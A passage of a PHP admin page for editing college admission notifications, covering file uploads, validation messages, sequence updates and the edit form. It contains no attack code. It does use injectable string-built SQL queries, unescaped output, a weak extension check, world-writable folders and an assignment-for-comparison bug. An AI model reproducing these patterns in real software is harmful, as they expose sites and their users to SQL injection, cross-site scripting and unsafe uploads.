if($_FILES["txtappform"]["name"]!="") { unlink('images/notification/applicationform/pdffiles/'.getFieldValue('admsn_appform','arya_admissionnotification','admsn_id="'.$amsnid.'"')); unlink('images/notification/applicationform/images/'.getFieldValue('admsn_appform','arya_admissionnotification','admsn_id="'.$amsnid.'"')); unlink('images/notification/applicationform/images/thumb/'.getFieldValue('admsn_appform','arya_admissionnotification','admsn_id="'.$amsnid.'"')); $filetmpname=$_FILES["txtappform"]["tmp_name"]; $imagename="photo_".$amsnid."_".str_replace(" ","_",$_FILES["txtappform"]["name"]); $extension2=substr($imagename,strpos($imagename,'.')+1); if($extension2=='pdf' || $extension2=='PDF') { $filename=$amsnid."_".str_replace(" ","_",$_FILES['txtappform']['name']); $ImagePath1="images/notification/"; $ImagePath2="images/notification/applicationform/"; $ImagePath="images/notification/applicationform/pdffiles/"; if(!is_dir($ImagePath1)) { mkdir($ImagePath1,0777); } if(!is_dir($ImagePath2)) { mkdir($ImagePath2,0777); } if(!is_dir($ImagePath)) { mkdir($ImagePath,0777); } $filepath="images/notification/applicationform/pdffiles/".$filename; copy($_FILES['txtappform']['tmp_name'],$filepath); $size=$_FILES['txtappform']['size']; $update_image_name="update arya_admissionnotification set admsn_appform='".$filename."' where admsn_id =".$amsnid.""; $res=mysql_query($update_image_name); } else { $ImagePath1="images/notification/"; $ImagePath2="images/notification/applicationform"; $ImagePath="images/notification/applicationform/images/"; $ThumbPath="images/notification/applicationform/images/thumb/"; if(!is_dir($ImagePath1)) { mkdir($ImagePath1); chmod($ImagePath1,0777); } if(!is_dir($ImagePath2)) { mkdir($ImagePath2); chmod($ImagePath2,0777); } if(!is_dir($ImagePath)) { mkdir($ImagePath); chmod($ImagePath,0777); } if(!is_dir($ThumbPath)) { mkdir($ThumbPath); chmod($ThumbPath,0777); } $extension=substr($imagename,strpos($imagename,'.')+1); if($extension=='jpg' || $extension=='jpeg' || $extension=='JPEG' || $extension=='JPG' || $extension=='png' || $extension=='PNG' || $extension=='gif' || $extension=='GIF') { if(move_uploaded_file($filetmpname,$ImagePath.$imagename)) { $Thumwidth = "100"; $Thumheight = "122"; $ThumbtoPath=$ThumbPath.$imagename; generate_image_thumbnail($ImagePath.$imagename, $ThumbtoPath,$Thumwidth,$Thumheight); $ThumbtoPath1=$BigThumbPath.$imagename; $UploadImg=generate_image_thumbnail($ImagePath.$imagename, $ThumbtoPath1, $Thumwidth1, $Thumheight1); $update_image_name="update arya_admissionnotification set admsn_appform='".$imagename."' where admsn_id =".$amsnid.""; $res=mysql_query($update_image_name); } } } } if($_SESSION['pendadminssion']=='1') { RedirecPage('arya_admisnotifpendinglist.php?msg=upd'); //echo "<script language=JavaScript>location.href='arya_admisnotifpendinglist.php?msg=upd';"; } else { RedirecPage('arya_mngadmissionnotification.php?msg=upd'); } } } //if($title != "") else { $msg=$msgFillFormField; } }//insert record end $btntype='type="reset"'; if($_GET['msg']=="engttle" || $_GET['msg']=="hndttle" || $_GET['msg']=="othrttle" || $_GET['msg']=="shrtxteng" || $_GET['msg']=="shrtxthnd" || $_GET['msg']=="shrtxtothr" || $_GET['msg']=="elgblty" || $_GET['msg']=="empprcstdt" || $_GET['msg']=="empprcendt" || $_GET['msg']=="cmbdterr" || $_GET['msg']=="cntprsnm" || $_GET['msg']=="mblno" || $_GET['msg']=="emalerr") { $btntype='type="submit"'; if(isset($_POST['btnreset'])) { RedirecPage('arya_editadmissionnotification.php?admsn='.$amsnid.'&scid='.$pagesecid.$sellngid.$instid.''); } } if(isset($_GET['instid']) && $_GET['instid']!="") { $instarray=getFieldValueArray('lang_id,cnt_id,state_id,inst_name,inst_namehindi,inst_nameother,city_id','arya_institution','inst_id="'.$_GET['instid'].'"'); $instlangid=$instarray[0]; $instcntid=$instarray[1]; $inststateid=$instarray[2]; $instname=$instarray[3]; $instnamehindi=$instarray[4]; $instnameother=$instarray[5]; $instcityid=$instarray[6]; } if($_GET['sellng']!="") { $lngsel=$_GET['sellng']; $lngname=getFieldValue('lang_name','arya_language','lang_id="'.$lngsel.'"'); } else if($_GET['instid']!="") { $lngsel=$instlangid; $lngname=getFieldValue('lang_name','arya_language','lang_id="'.$lngsel.'"'); } else { $lngsel=$lngsel11; $lngname=getFieldValue('lang_name','arya_language','lang_id="'.$lngsel.'"'); } $lngname=getFieldValue('lang_name','arya_language','lang_id="'.$lngsel.'"'); $classengttleerr='class="txtbox"'; $classhndttle='class="txtbox"'; $classothrttle='class="txtbox"'; $classhrtxteng='class="txtbox"'; $classhrtxthnd='class="txtbox"'; $classhrtxtothr='class="txtbox"'; $classelgblty='class="txtbox"'; $classcntprsnm='class="txtbox"'; $classmblno='class="txtbox"'; $classemalerr='class="txtbox"'; if($_GET['msg']=="engttle") { $msg = $lbl_errvalidmsg." ".$lbl_engnotificationtitle; $classengttleerr='class="errtxtengbord" '; } else if($_GET['msg']=="hndttle") { $msg=$lbl_errvalidmsg." ".$lbl_hindinotificationtitle; $classhndttle='class="errtxtengbord" '; } else if($_GET['msg']=="othrttle") { $msg=$lbl_errvalidmsg." ".$lbl_othernotificationtitle; $classothrttle='class="errtxtengbord"'; } else if($_GET['msg']=="shrtxteng") { $msg=$lbl_errvalidmsg." ".$lbl_engshortdescription; $classhrtxteng='class="errtxtengbord"'; } else if($_GET['msg']=="shrtxthnd") { $msg=$lbl_errvalidmsg." ".$lbl_hindishortdescription; $classhrtxthnd='class="errtxtengbord"'; } else if($_GET['msg']=="shrtxtothr") { $msg=$lbl_errvalidmsg." ".$lbl_othershortdescription; $classhrtxtothr='class="errtxtengbord"'; } else if($_GET['msg']=="elgblty") { $msg=$lbl_errvalidmsg." ".$lbl_eligiblity; $classelgblty='class="errtxtengbord"'; } else if($_GET['msg']=="empprcstdt") { $msg="Please Select"." ".$lbl_admissionprocessstartdate; $classempprcstdt='class="errbrthdate"'; } else if($_GET['msg']=="empprcendt") { $msg="Please Select"." ".$lbl_lastdateofappsubmission; $classempprcendt='class="errbrthdate"'; } else if($_GET['msg']=="cmbdterr") { $msg="Last date of App Submission shall not be less than Admission Process Start Date"; $classempprcendt='class="errbrthdate"'; } else if($_GET['msg']=="cntprsnm") { $msg=$lbl_errvalidmsg." ".$lbl_contactpersonname; $classcntprsnm='class="errtxtengbord"'; } else if($_GET['msg']=="mblno") { $msg=$lbl_errvalidmsg." ".$lbl_mobileno; $classmblno='class="errtxtengbord"'; } else if($_GET['msg']=="emalerr") { $msg=$lbl_errvalidmsg." ".$lbl_email; $classemalerr='class="errtxtengbord"'; } else { unset($_SESSION['cmbinst']); unset($_SESSION['txttitle']); unset($_SESSION['hindinotificationtitle']); unset($_SESSION['othernitificationtitle']); unset($_SESSION['txtshorttext']); unset($_SESSION['txthindishorttext']); unset($_SESSION['othershorttext']); unset($_SESSION['txteligiblity']); unset($_SESSION['lngnotificationid']); unset($_SESSION['fday']); unset($_SESSION['fmonth']); unset($_SESSION['fyear']); unset($_SESSION['endday']); unset($_SESSION['endmonth']); unset($_SESSION['endyear']); unset($_SESSION["hour"]); unset($_SESSION["minute"]); unset($_SESSION["ampm"]); unset($_SESSION["endhour"]); unset($_SESSION["endminute"]); unset($_SESSION["pm"]); unset($_SESSION['sessionyear']); unset($_SESSION['sessionmonth']); unset($_SESSION['sessionday']); unset($_SESSION["txtconctname"]); unset($_SESSION["txtmobile"]); unset($_SESSION["txtemail"]); unset($_SESSION['getinstid']); unset($_SESSION['instid']); unset($_SESSION['notificationsession']); } if(isset($_POST['submitsequence']))//sequence update start { foreach($_POST['check_sequence'] as $id=>$sequence) { $qryUpdSequence = "UPDATE arya_magazines SET mgzn_sequence='".$sequence."' WHERE mgzn_id=".$id; $qUpdSequence = mysql_query($qryUpdSequence); } $msg1=$msgUpdateRecord; $mgzseqtitle=getFieldValue("mgzn_title","arya_magazines","mgzn_id='".$id."'"); getadminactivity('title_mngmagazinetitle',$pagesecid,$_SESSION["adminuserid"],$_SERVER["REMOTE_ADDR"],$mgzseqtitle); }//sequence update end if($_GET["msg"] && $_GET["msg"] =='upd') { $msg=$msgUpdateRecord; } if($_GET["msg"] && $_GET["msg"] =='dupwb') { $msg=$msgDuplicatRecord; } $nvmaxseq=getFieldValueWithoutWhere("MAX(mgzn_sequence)","arya_magazines"); if($nvmaxseq ==""){$nvmaxseq=1;}else{$nvmaxseq=$nvmaxseq+1;} //} $lngname=getFieldValue('lang_name','arya_language','lang_id="'.$lngsel.'"'); ?> <script language="JavaScript"> function ChangeInstDetail(instid,admsn,scid) { window.location.href ="arya_editadmissionnotification.php?admsn="+admsn+"&scid="+scid+"&instid="+instid; } </script> <!----> <form name="frmnotify" id="frmnotify" method="POST" action="" enctype="multipart/form-data" onsubmit="return Blanknotification();" > <table width="100%" summary="" border="0" cellspacing="0" cellpadding="0"> <tr><td align="center" height="85"><h2 class="bigheader"><?php echo $title_editadmissnotification; ?></h2></td></tr> <?php echo SuccessMessage($msg);?> <tr> <td align="center"> <table summary="" border="0" align="center" width="100%" cellpadding="0" cellspacing="0"> <tr><td height="5" colspan="6"></td></tr> <tr> <td align="right" width="45%" colspan="3"> <?php echo $lbl_selinst; ?> : </td> <td align="left" colspan="3"> <select name="cmbinst" id="cmbinst" class="selbox" onchange="return ChangeInstDetail(this.value,'<?php echo $amsnid; ?>','<?php echo $_SESSION['pgsecid'];?>');"> <option value="0"><?php echo $lbl_selinst; ?></option> <?php if($_SESSION['instid']>0) { echo getNotifyInstitution($_SESSION['instid']); } else { echo getNotifyInstitution($mgzn_instid); } ?> </select> </td> </tr> <tr><td height="5" colspan="6"></td></tr> <tr> <td align="right" width="45%" colspan="3"> <?php echo $lbl_selectlanguage; ?> : </td> <td align="left" colspan="3"> <select name="cmblanguage" id="cmblanguage" class="selbox" onchange="return ChangeSelectLanguage(this.value,'editnotif','<?php echo $amsnid; ?>','<?php echo $_SESSION['pgsecid'];?>','<?php echo $_SESSION['instid'];?>');"> <option value="0"><?php echo $lbl_selectlanguage; ?></option> <?php //GetMulLanguage if($_SESSION['lngnotificationid']=="") { if($_SESSION['notificationsession']==1) { echo GetAllLanguage(0); } else { echo GetAllLanguage($lngsel); } } else { echo GetAllLanguage($_SESSION['lngnotificationid']); } ?> </select> </td> </tr> <tr><td height="5" colspan="6"></td></tr> <tr align="right"> <td align="right" width="20%"><?php echo $lbl_engnotificationtitle;?> : </td> <td align="left"><input type="text" name="txttitle" id="txttitle" onkeypress="return isAlphabetic(event);" maxlength="200" value="<?php if($_SESSION['txttitle']!=""){echo $_SESSION['txttitle'];}else{ echo $ntitle;} ?>" <?php echo $classengttleerr;?>/> </td> <td align="right"><?php if($lngname=="Hindi") { echo $sign." "; } echo $lbl_hindinotificationtitle;?> : </td> <td align="left" width="17%"> <input type="text" name="hindinotificationtitle" id="hindinotificationtitle" onfocus="changeLanguage('hindinotificationtitle', 'devanagari')" onkeypress="return isAlphabetic(event);" maxlength="300" value="<?php if($_SESSION['hindinotificationtitle']!=""){echo $_SESSION['hindinotificationtitle'];}else{echo $nhindititle;}?>" <?php echo $classhndttle;?>/> </td> <?php if($lngname=="English" || $lngname=="Hindi") { ?> <td align="right" width="13%"> </td> <td align="left"> </td> <?php } else { if($lngname!="") { ?> <td align="right" width="13%"><?php echo $lbl_othernotificationtitle;?> : </td> <td align="left"><input type="text" name="othernitificationtitle" id="othernitificationtitle" onkeypress="return isAlphabetic(event);" maxlength="300" value="<?php if($_SESSION['othernitificationtitle']!=""){echo $_SESSION['othernitificationtitle'];}else{echo $nothertitle;}?>" <?php echo $classothrttle;?>/></td> <?php }} ?> </tr> <tr><td height="5" colspan="6"></td></tr> <tr> <td align="right"><?php echo $lbl_engshortdescription;?> : </td> <td align="left"> <textarea rows="3" cols="10" name="txtshorttext" id="txtshorttext" <?php echo $classhrtxteng;?>><?php if($_SESSION['txtshorttext']!=""){echo $_SESSION['txtshorttext'];}else{echo $shorttexteng;}?></textarea> </td> <td align="right"><?php echo $lbl_hindishortdescription;?> : </td> <td align="left"> <textarea rows="3" cols="10" name="txthindishorttext" id="txthindishorttext" onfocus="changeLanguage('txthindishorttext', 'devanagari')" <?php echo $classhrtxthnd;?>><?php if($_SESSION['txthindishorttext']!=""){echo $_SESSION['txthindishorttext'];}else{echo $shorttextHindi;}?></textarea> </td> <?php if($lngname!="" && $lngname!="English" && $lngname!="Hindi") { ?> <td align="right"><?php echo $lbl_othershortdescription;?> : </td> <td align="left"><textarea rows="3" cols="10" name="othershorttext" id="othershorttext" <?php echo $classhrtxtothr;?>><?php if($_SESSION['othershorttext']!=""){echo $_SESSION['othershorttext'];}else{echo $shorttextOther;}?></textarea></td> <?php } ?> </tr> <tr><td height="5" colspan="6"></td></tr> <tr> <td align="right" width="45%" colspan="3"><?php echo $lbl_eligiblity; ?> : </td> <td align="left" colspan="3"><input type="text" id="txteligiblity" name="txteligiblity" value="<?php if($_SESSION['txteligiblity']!=""){echo $_SESSION['txteligiblity'];}else{echo $eligibility;}?>" <?php echo $classelgblty;?>/></td> </tr> <tr align=""><td height="5" colspan="6"></td></tr> <tr> <td align="right" width="45%" colspan="3"><?php echo $sign." ".$lbl_admissionprocessstartdate; ?> : </td> <td align="left" colspan="3"><?php if($_SESSION['fday']>0 || $_SESSION['fmonth']>0 || $_SESSION['fyear']>0) { echo '<select id="fday" name="fday" '.$classempprcstdt.'>'.GetDay($_SESSION['fday']).'</select>'; echo '<select id="fmonth" name="fmonth" '.$classempprcstdt.'>'.GetMonth($_SESSION['fmonth']).'</select>'; echo '<select id="fyear" name="fyear" '.$classempprcstdt.'>'.GetNotifyYear($_SESSION['fyear']).'</select>'; } else { echo '<select id="fday" name="fday" >'.GetDay($sday).'</select>'; echo '<select id="fmonth" name="fmonth" >'.GetMonth($smonth).'</select>'; echo '<select id="fyear" name="fyear" >'.GetNotifyYear($syear).'</select>'; } ?></td> </tr> <tr><td height="5" colspan="6"></td></tr> <tr> <td align="right" width="45%" colspan="3"><?php echo $sign." ".$lbl_lastdateofappsubmission; ?> : </td> <td align="left" colspan="3"><?php if($_SESSION['endday']>0 || $_SESSION['endmonth']>0 || $_SESSION['endyear']>0) { echo '<select id="day" name="endday" onchange="return findsessiondate(this.value,0,0);" '.$classempprcendt.'>'.GetDay($_SESSION['endday']).'</select>'; echo '<select id="month" name="endmonth" onchange="return findsessiondate(0,this.value,0);" '.$classempprcendt.'>'.GetMonth($_SESSION['endmonth']).'</select>'; echo '<select id="year" name="endyear" onchange="return findsessiondate(0,0,this.value);" '.$classempprcendt.'>'.GetNotifyYear($_SESSION['endyear']).'</select>'; } else { echo '<select id="day" name="endday" onchange="return findsessiondate(this.value,0,0);">'.GetDay($eday).'</select>'; echo '<select id="month" name="endmonth" onchange="return findsessiondate(0,this.value,0);">'.GetMonth($emonth).'</select>'; echo '<select id="year" name="endyear" onchange="return findsessiondate(0,0,this.value);">'.GetNotifyYear($eyear).'</select>'; } ?></td> </tr> <tr><td height="5" colspan="6"></td></tr> <tr> <td align="right" width="20%" colspan="3"><?php echo $lbl_timing;?> : </td> <td align="left" colspan="3"> <?php if($_SESSION['hour']>0 || $_SESSION['minute']>0) { echo '<select id="hour" name="hour" >'.GetAdmissionStartHour($_SESSION['hour']).'</select>'; echo '<select id="minute" name="minute" >'.GetMinute($_SESSION['minute']).'</select>'; } else { echo '<select id="hour" name="hour" >'.GetAdmissionStartHour($notifyhour).'</select>'; echo '<select id="minute" name="minute" >'.GetMinute($notifyminute).'</select>'; } ?> <select id="ampm" name="ampm"> <?php if($_SESSION["ampm"]!="") { $notifyam1=$_SESSION["ampm"]; } else { $notifyam1=$notifyam; } echo GetAMPM($notifyam); ?> </select> To <?php if($_SESSION['endhour']>0 || $_SESSION['endminute']>0) { echo '<select id="hour" name="endhour" >'.GetAdmissionEndHour($_SESSION['endhour']).'</select>'; echo '<select id="minute" name="endminute" >'.GetMinute($_SESSION['endminute']).'</select>'; } else { echo '<select id="hour" name="endhour">'.GetAdmissionEndHour($notifyendhour).'</select>'; echo '<select id="minute" name="endminute">'.GetMinute($notifyendminute).'</select>'; } ?> <select id="pm" name="pm"> <?php if($_SESSION['pm']!="") { $notifyendam1=$_SESSION['pm']; } else { $notifyendam1=$notifyendam; } echo GetAMPM($notifyendam); ?> </select> </td> </tr> <tr><td height="5" colspan="6"></td></tr> <tr> <td align="right" width="45%" colspan="3"><?php echo $sign." ".$lbl_sessionstartdate; ?> : </td> <td align="left" colspan="3"> <div id="sessiondatediv"> <?php if($_SESSION['sessionday']!="" || $_SESSION['sessionmonth']!="" || $_SESSION['sessionyear']!="") { echo '<select id="day" name="sessionday" >'.GetDay($_SESSION['sessionday']).'</select>'; echo '<select id="month" name="sessionmonth" >'.GetMonth($_SESSION['sessionmonth']).'</select>'; echo '<select id="year" name="sessionyear" >'.GetNotifyYear($_SESSION['sessionyear']).'</select>'; } else { if(date('d')>=30) { echo '<select id="sessionday" name="sessionday" >'.GetDay(date('d')+1-30).'</select>'; if(date('m')>=12) { echo '<select id="sessionmonth" name="sessionmonth" >'.GetMonth(date('m')-11).'</select>'; } else { echo '<select id="sessionmonth" name="sessionmonth" >'.GetMonth(date('m')+1).'</select>'; } } else { if($sessioneday=="00") { if($eday>=30) { echo '<select id="sessionday" name="sessionday" >'.GetDay($eday+1-30).'</select>'; } else { echo '<select id="sessionday" name="sessionday" >'.GetDay($eday+1).'</select>'; } } else { echo '<select id="sessionday" name="sessionday" >'.GetDay($sessioneday).'</select>'; } if($sessionmonth=="00") { if($eday>=30 && $emonth>=12) { echo '<select id="sessionmonth" name="sessionmonth" >'.GetMonth($emonth-11).'</select>'; } else if($eday>=30) { echo '<select id="sessionmonth" name="sessionmonth" >'.GetMonth($emonth+1).'</select>'; } else { echo '<select id="sessionmonth" name="sessionmonth" >'.GetMonth($emonth).'</select>'; } } else { echo '<select id="sessionmonth" name="sessionmonth" >'.GetMonth($sessionmonth).'</select>'; } } if(date('m')>=12 && date('d')>=30) { echo '<select id="sessionyear" name="sessionyear" >'.GetNotifyYear(date('Y')+1).'</select>'; } else { if($sessionyear="0000") { if($emonth>=12 && $eday>=30) { echo '<select id="sessionyear" name="sessionyear" >'.GetNotifyYear($eyear+1).'</select>'; } else { echo '<select id="sessionyear" name="sessionyear" >'.GetNotifyYear($eyear).'</select>'; } } else { echo '<select id="sessionyear" name="sessionyear" >'.GetNotifyYear($sessionyear).'</select>'; } } ?> </div> <?php } ?> </td> </tr> <tr><td height="5" colspan="6"></td></tr> <tr> <td align="right" width="45%" colspan="3"><?php echo "Brochure";?> : </td> <td colspan="3"> <table cellpadding="0" cellspacing="0" border="0"> <tr> <td><input type="file" name="txtimage" id="txtimage" value="<?php echo $admsnbrochure; ?>"/></td> <?php if($extension=="pdf" || $extension=="PDF") { if($admsnbrochure!="") { ?> <td><?php echo $admsnbrochure; ?></td> <?php } } else { if($admsnbrochure!="") { ?> <td><img src="images/notification/brochure/images/thumb/<?php echo $admsnbrochure; ?>" width="80" alt="" title="" /></td> <?php } } ?> </tr> </table> </td> </tr> <tr><td height="5" colspan="6"></td></tr> <tr> <td align="right" width="45%" colspan="3"><?php echo "Application Form";?> : </td> <td colspan="3"> <table cellpadding="0" cellspacing="0" border="0"> <tr> <td><input type="file" name="txtappform" id="txtappform" value="<?php echo $applicationfrom; ?>" /></td> <?php if($appextension=="pdf" || $appextension=="PDF") { if($applicationfrom!="") { ?> <td><?php echo $applicationfrom; ?></td> <?php } } else { if($applicationfrom!="") { ?> <td><img src="images/notification/applicationform/images/thumb/<?php echo $applicationfrom; ?>" width="80" alt="" title="" /></td> <?php } } ?> </tr> </table> </td> </tr> <tr><td height="5" colspan="6"></td></tr> <tr> <td align="right"><?php echo "Contact Person Name";?> : </td> <td align="left"> <input type="text" name="txtconctname" id="txtconctname" value="<?php if($_SESSION['txtconctname']!=""){echo $_SESSION['txtconctname'];}else{echo $contactname;} ?>" <?php echo $classcntprsnm;?>/> </td> <td align="right"><?php echo "Mobile No.";?> : </td> <td align="left"> <input type="text" name="txtmobile" id="txtmobile" value="<?php if($_SESSION['txtmobile']!=""){echo $_SESSION['txtmobile'];}else{echo $contactno;} ?>" <?php echo $classmblno;?>/> </td> <td align="right"><?php echo "Email";?> : </td> <td align="left"><input type="text" name="txtemail" id="txtemail" value="<?php if($_SESSION['txtemail']!=""){echo $_SESSION['txtemail'];}else{echo $contactemail;}?>" <?php echo $classemalerr;?>/></td> </tr> <tr><td height="5" colspan="6"></td></tr> <?php if($rightapprove=='Self' || $rightapprove=='All') { ?> <tr> <td align="right" width="45%" colspan="3"><?php echo "Approve";?> : </td> <td align="left"><input type="radio" name="chksapprove" id="chksapprove" value="Yes" <?php if($_SESSION['chksapproveyes']!="") { echo $_SESSION['chksapproveyes']; } else { if($_SESSION['chksapproveno']=="") { echo $approveyes; } }?> />Yes<input type="radio" name="chksapprove" id="chksapprove" value="No" <?php if($_SESSION['chksapproveno']!="") { echo $_SESSION['chksapproveno']; } else { if($_SESSION['chksapproveyes']=="") { echo $approveno; } }?> />No</td> </tr> <?php } ?> <tr><td colspan="6" height="5"></td></tr> <tr><td width="45%" colspan="3"></td> <td colspan="3" align="left"> <input type="submit" name="btneditnotify" id="btneditnotify" value="<?php echo $btn_update; ?>" class="button" /> <input <?php echo $btntype;?> name="btnreset" id="btnreset" value="<?php echo $btn_reset; ?>" class="button"/> <input type="button" name="btnBack" id="btnBack" value="<?php echo $btn_back; ?>" class="button" onclick="history.go(-1);" /> </td> </tr> <script language="javascript" type="text/javascript"> pph = new PramukhPhoneticHandler(); pph.convertToIndicIME("hindinotificationtitle", document.getElementById('hindinotificationtitle'),'english'); pph.convertToIndicIME("txthindishorttext", document.getElementById('txthindishorttext'),'english'); pph.convertToIndicIME("othernitificationtitle", document.getElementById('othernitificationtitle'),'<?php echo $lngname; ?>'); pph.convertToIndicIME("othershorttext", document.getElementById('othershorttext'),'<?php echo $lngname; ?>'); </script> </table> </td> </tr> </table> </form> <?php // content over // footer start include("arya_footer.php"); // footer over ?>
Close